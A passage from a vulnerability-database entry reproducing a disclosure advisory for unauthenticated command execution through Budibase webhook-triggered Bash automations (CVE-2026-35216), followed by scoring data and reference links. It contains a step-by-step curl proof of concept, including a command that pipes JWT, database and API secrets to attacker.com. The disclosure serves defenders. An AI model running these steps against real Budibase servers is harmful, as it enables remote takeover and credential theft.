          "description": "Run a bash script",
          "tagline": "Execute a bash command",
          "inputs": {
            "code": "{{ trigger.cmd }}"
          },
          "schema": {
            "inputs": {
              "properties": { "code": { "type": "string" } }
            },
            "outputs": {
              "properties": {
                "stdout": { "type": "string" },
                "success": { "type": "boolean" }
              }
            }
          }
        }
      ]
    }
  }'

# Note the automation _id from response, e.g.:
# "automation": { "_id": "au_b713759f83f64efda067e17b65545fce", ... }

AUTO_ID="au_b713759f83f64efda067e17b65545fce"
```

**Step 4 — Enable the automation** (new automations start as disabled):

```bash
# Fetch full automation JSON
AUTO=$(curl -sb cookies.txt "http://TARGET:10000/api/automations/$AUTO_ID" \
  -H "x-budibase-app-id: $APP_ID")

# Set disabled: false and PUT it back
UPDATED=$(echo "$AUTO" | python3 -c "
import sys, json
d = json.load(sys.stdin)
d['disabled'] = False
print(json.dumps(d))
")

curl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -d "$UPDATED"
```

**Step 5 — Create webhook linked to the automation:**

```bash
curl -b cookies.txt -X PUT "http://TARGET:10000/api/webhooks/" \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -d "{
    \"name\": \"MyWebhook\",
    \"action\": {
      \"type\": \"automation\",
      \"target\": \"$AUTO_ID\"
    }
  }"

# Note the webhook _id from response, e.g.:
# "webhook": { "_id": "wh_f811a038ed024da78b44619353d4af2b", ... }

WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"
```

**Step 6 — Publish the app to production:**

```bash
curl -b cookies.txt -X POST "http://TARGET:10000/api/applications/$APP_ID/publish" \
  -H "x-budibase-app-id: $APP_ID"

# Expected: {"status":"SUCCESS","appUrl":"/myapp"}

# Production App ID = strip "dev_" from dev ID:
# app_dev_c999265f... → app_c999265f...
PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"
```

---

#### PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)

The attacker only needs the production `app_id` and `webhook_id`.
These can be obtained via:
- Enumeration of the Budibase web UI (app URLs are semi-public)
- Leaked configuration files or environment variables
- Insider knowledge or social engineering

**Step 7 — Basic RCE — whoami/id:**

```bash
PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"
WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"
TARGET="http://TARGET:10000"

# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"id"}'

# HTTP Response (immediate):
# {"message":"Webhook trigger fired successfully"}

# Command executes asynchronously inside container as root.
# Output confirmed via container inspection or exfiltration.
```

**Step 8 — Exfiltrate all secrets:**

```bash
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}'
```

Confirmed secrets leaked (no auth):
```
JWT_SECRET=testsecret
API_ENCRYPTION_KEY=testsecret
COUCH_DB_URL=http://budibase:budibase@couchdb-service:5984
REDIS_PASSWORD=budibase
REDIS_URL=redis-service:6379
MINIO_ACCESS_KEY=budibase
MINIO_SECRET_KEY=budibase
INTERNAL_API_KEY=budibase
LITELLM_MASTER_KEY=budibase
```

### Impact
- **Who is affected:** All self-hosted Budibase deployments (`SELF_HOSTED=1`) where
  any admin has created an automation with a Bash step that uses webhook trigger field
  templates. This is a standard, documented workflow.

- **What can an attacker do:**
  - Execute arbitrary OS commands as `root` inside the application container
  - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys
  - Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet
  - Establish reverse shells and persistent access
  - Read/write/delete all application data via CouchDB access
  - Forge JWT tokens using the leaked `JWT_SECRET` to impersonate any user
  - Potentially escape the container if `--privileged` or volume mounts are used

- **Authentication required:** **None** — completely unauthenticated
- **User interaction required:** **None**
- **Network access required:** Only access to port 10000 (the Budibase proxy port)



Discovered By:
Abdulrahman Albatel
Abdullah Alrasheed
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35216
reference_id
reference_type
scores
0
value 0.0031
scoring_system epss
scoring_elements 0.54512
published_at 2026-06-08T12:55:00Z
1
value 0.0031
scoring_system epss
scoring_elements 0.54533
published_at 2026-06-07T12:55:00Z
2
value 0.0031
scoring_system epss
scoring_elements 0.54543
published_at 2026-06-06T12:55:00Z
3
value 0.0031
scoring_system epss
scoring_elements 0.54534
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35216
1
reference_url https://github.com/Budibase/budibase
reference_id
reference_type
scores
0
value 9.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/Budibase/budibase
2
reference_url https://github.com/Budibase/budibase/commit/f0c731b409a96e401445a6a6030d2994ff4ac256
reference_id
reference_type
scores
0
value 9.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
1
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-03T16:46:19Z/
url https://github.com/Budibase/budibase/commit/f0c731b409a96e401445a6a6030d2994ff4ac256
3
reference_url https://github.com/Budibase/budibase/pull/18238
reference_id
reference_type
scores
0
value 9.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
1
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-03T16:46:19Z/
url https://github.com/Budibase/budibase/pull/18238
4
reference_url https://github.com/Budibase/budibase/releases/tag/3.33.4
reference_id
reference_type
scores
0
value 9.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
1
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-03T16:46:19Z/
url https://github.com/Budibase/budibase/releases/tag/3.33.4
5
reference_url https://github.com/Budibase/budibase/security/advisories/GHSA-fcm4-4pj2-m5hf
reference_id
reference_type
scores
0
value 9.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
1
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
2
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
3
value CRITICAL
scoring_system generic_textual
scoring_elements
4
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-03T16:46:19Z/
url https://github.com/Budibase/budibase/security/advisories/GHSA-fcm4-4pj2-m5hf
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35216
reference_id
reference_type
scores
0
value 9.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35216
7
reference_url https://github.com/advisories/GHSA-fcm4-4pj2-m5hf
reference_id GHSA-fcm4-4pj2-m5hf
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-fcm4-4pj2-m5hf
fixed_packages
0
url pkg:npm/%40budibase/server@3.33.4
purl pkg:npm/%40budibase/server@3.33.4
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/%2540budibase/server@3.33.4
aliases CVE-2026-35216, GHSA-fcm4-4pj2-m5hf
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-hx4u-s7t2-quga
Fixing_vulnerabilities
Risk_score4.5
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/%2540budibase/server@2.6.19-alpha.29